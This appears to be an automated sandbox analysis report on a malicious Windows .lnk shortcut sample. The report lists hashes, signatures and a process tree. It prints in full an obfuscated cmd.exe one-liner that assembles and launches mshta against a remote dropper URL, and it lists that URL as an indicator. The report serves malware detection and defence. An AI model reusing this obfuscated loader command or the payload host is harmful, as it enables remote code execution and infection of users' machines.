Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:20

General

  • Target
    DOC-Y7JWKT.lnk
  • Size 2KB
  • Sample260804-j8tk9avdqd
  • SHA256 84fdd5ba8a309163a50ffc362d4109af43636e77799b148efb3e2c44f0f5697c
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-Y7JWKT.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5404
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set EBTR=netqcmbxawckdcxnet&set ss=r6st9j&&set eIC=iarks5&&set OIu=xpgtd3&set myg=infggadficnknttsainf&set pw=windvpvqladnrctmwin&set KSioF=winasnjlgzppkiqwnawin&set Xd=sysadgbsys&set RfOxz=y4ms0r&&set mPqTn=73htasj&set QjMv=cfgjcdpkxecfg&set Me=logsduylog&set vyA=datgvwgkbwuifkbmdat&set UEo=tmpbhcohceattmp&&set DKg=h@ttps@://ma-@p@d@[email protected]@t/h/estagio1.php?@r=@3@914@6@9F@B5@D82@D@B&&start /b !RfOxz:~2,2!!mPqTn:~2,3! !DKg:@=!&&set IGH=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3596
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3248

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads